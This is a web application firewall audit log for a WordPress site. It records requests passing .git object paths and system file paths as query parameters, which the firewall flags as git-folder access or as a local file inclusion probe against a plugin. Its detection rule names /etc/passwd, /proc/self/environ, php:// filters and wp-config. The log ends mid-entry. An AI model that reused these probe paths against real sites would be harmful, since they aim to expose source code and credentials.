rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5e5b7cd55faa2a511efa5ee12b909390","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/53/a9670214386a857b843940748a8c3f28969a3c||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":380,"p2":8985,"p3":0,"p4":0,"p5":386,"sr":183,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:26:55.866722 +0100","transaction_id":"abOSD5n1uGdaZ1c5-sNysQAAAAo","remote_address":"57.141.20.3","remote_port":38868,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/lt/LC_MESSAGES/iso_639-5.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.3","X-Forwarded-Proto":"https","X-Request-Id":"48cf297a1bce80525cff663d7eeae788","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"329441"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"48cf297a1bce80525cff663d7eeae788","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/lt/LC_MESSAGES/iso_639-5.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":362,"p2":25130,"p3":0,"p4":0,"p5":425,"sr":3581,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:27:02.471326 +0100","transaction_id":"abOSFoJMkxuqkfzoMwBF0gAAAdE","remote_address":"57.141.20.21","remote_port":54086,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/73/c52ed1ad24096617de050bd2bc63b0cfd35993 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.21","X-Forwarded-Proto":"https","X-Request-Id":"69bb3385d2142567d057e7fc9d046fc8","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"494219"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"69bb3385d2142567d057e7fc9d046fc8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/73/c52ed1ad24096617de050bd2bc63b0cfd35993||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":335,"p2":7258,"p3":0,"p4":0,"p5":299,"sr":141,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:27:04.285278 +0100","transaction_id":"abOSF_gQSd_XQ-U0cJxPdQAAAUo","remote_address":"57.141.20.52","remote_port":42008,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/terminfo/s/st52-color HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.52","X-Forwarded-Proto":"https","X-Request-Id":"4147eb8fc0cd93c74f39a814d8380a9d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6555706"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"4147eb8fc0cd93c74f39a814d8380a9d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/s/st52-color||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":310,"p2":5365,"p3":0,"p4":0,"p5":392,"sr":93,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:27:32.162724 +0100","transaction_id":"abOSMyFJ_Ynbc5Nhz1aR6gAAAQ0","remote_address":"57.141.20.37","remote_port":43102,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/8d/5ecb045ab67262a006a326202091249cbb5894 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.37","X-Forwarded-Proto":"https","X-Request-Id":"10b05f63e4ca59fc7b81ebeecd634435","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7635012"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"10b05f63e4ca59fc7b81ebeecd634435","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/8d/5ecb045ab67262a006a326202091249cbb5894||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":351,"p2":7277,"p3":0,"p4":0,"p5":410,"sr":179,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:27:32.273174 +0100","transaction_id":"abOSNCFJ_Ynbc5Nhz1aR6wAAAQw","remote_address":"57.141.20.56","remote_port":53130,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/4d/7d9691887aab8447cf4a0291d2043edc47de11 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.56","X-Forwarded-Proto":"https","X-Request-Id":"e0177c4b2f7572dc3963cd28448a2f66","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3507716"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"e0177c4b2f7572dc3963cd28448a2f66","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/4d/7d9691887aab8447cf4a0291d2043edc47de11||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":278,"p2":5853,"p3":0,"p4":0,"p5":395,"sr":136,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:27:40.216317 +0100","transaction_id":"abOSO6JN8EaaUUoW-HGI9AAAAEk","remote_address":"57.141.20.53","remote_port":47392,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/0c/8fd486295836f97a4344042b9cb30dae4e7bc2 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.53","X-Forwarded-Proto":"https","X-Request-Id":"5762cbd2f3cb821bcbed5fe732408e65","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6163725"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"5762cbd2f3cb821bcbed5fe732408e65","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/fresh-vegetables/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/0c/8fd486295836f97a4344042b9cb30dae4e7bc2||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":282,"p2":4845,"p3":0,"p4":0,"p5":437,"sr":124,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:27:45.475447 +0100","transaction_id":"abOSQPgQSd_XQ-U0cJxP2AAAAVY","remote_address":"57.141.20.57","remote_port":45034,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/7a/b796f9c117f983dfbcf36a17031cb634935d14 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.57","X-Forwarded-Proto":"https","X-Request-Id":"51661fd9cec1fae0aef2bd19446826ef","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4949787"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"51661fd9cec1fae0aef2bd19446826ef","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/7a/b796f9c117f983dfbcf36a17031cb634935d14||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":321,"p2":5942,"p3":0,"p4":0,"p5":406,"sr":150,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:28:58.699642 +0100","transaction_id":"abOSiSFJ_Ynbc5Nhz1aTdgAAAQk","remote_address":"57.141.20.49","remote_port":39570,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/en_BW/LC_MONETARY HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.49","X-Forwarded-Proto":"https","X-Request-Id":"7f6ef8a5ba7fcb6eac6bceb88608cf69","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6783686"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"7f6ef8a5ba7fcb6eac6bceb88608cf69","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/en_BW/LC_MONETARY||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":239,"p2":6076,"p3":0,"p4":0,"p5":417,"sr":171,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:29:13.186024 +0100","transaction_id":"abOSmLmW8D9YFg8ovrcNqgAAAMk","remote_address":"57.141.20.4","remote_port":40258,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/var/lib/mibs/ietf/T11-FC-SP-SA-MIB HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.4","X-Forwarded-Proto":"https","X-Request-Id":"b64b2dc82303d10e7425215e079da4d7","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3539341"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b64b2dc82303d10e7425215e079da4d7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/mibs/ietf/T11-FC-SP-SA-MIB||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":249,"p2":4987,"p3":0,"p4":0,"p5":272,"sr":96,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:40:05.952515 +0100","transaction_id":"abOVJSFJ_Ynbc5Nhz1aXdQAAAQw","remote_address":"57.141.20.43","remote_port":49808,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/ba/7f3dc3f8d5430e2c68ca6ca1033ba11c932542 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.43","X-Forwarded-Proto":"https","X-Request-Id":"54094d60d6009ee4d1ca91205e8ce5d4","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6783990"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"54094d60d6009ee4d1ca91205e8ce5d4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/ba/7f3dc3f8d5430e2c68ca6ca1033ba11c932542||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":298,"p2":7725,"p3":0,"p4":0,"p5":361,"sr":136,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:42:58.761485 +0100","transaction_id":"abOV0SFJ_Ynbc5Nhz1aZJQAAARM","remote_address":"57.141.20.55","remote_port":55998,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/sftproot/htdocs/apps.jmkconsulting-ci.com/.git/hooks/pre-receive.sample HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.55","X-Forwarded-Proto":"https","X-Request-Id":"5f3c906e9d17a410671f9984e3dd4bd2","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3245300"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5f3c906e9d17a410671f9984e3dd4bd2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?rename=/sftproot/htdocs/apps.jmkconsulting-ci.com/.git/hooks/pre-receive.sample||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":312,"p2":6843,"p3":0,"p4":0,"p5":394,"sr":149,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:43:44.933866 +0100","transaction_id":"abOWAHAYndnjcgJ-i-LjuQAAAIM","remote_address":"114.119.129.50","remote_port":58972,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/82695151 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.129.50","X-Forwarded-Proto":"http","X-Request-Id":"1ba66c9a345de16f5120d4e66f33a412","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4097930","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"1ba66c9a345de16f5120d4e66f33a412","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":252,"p2":4668,"p3":0,"p4":0,"p5":267,"sr":150,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:44:05.373578 +0100","transaction_id":"abOWFCFJ_Ynbc5Nhz1aZhQAAARg","remote_address":"57.141.20.10","remote_port":58978,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/en_BW/LC_NAME HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.10","X-Forwarded-Proto":"https","X-Request-Id":"8295fc48ec01d445a5481c7109310e69","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com 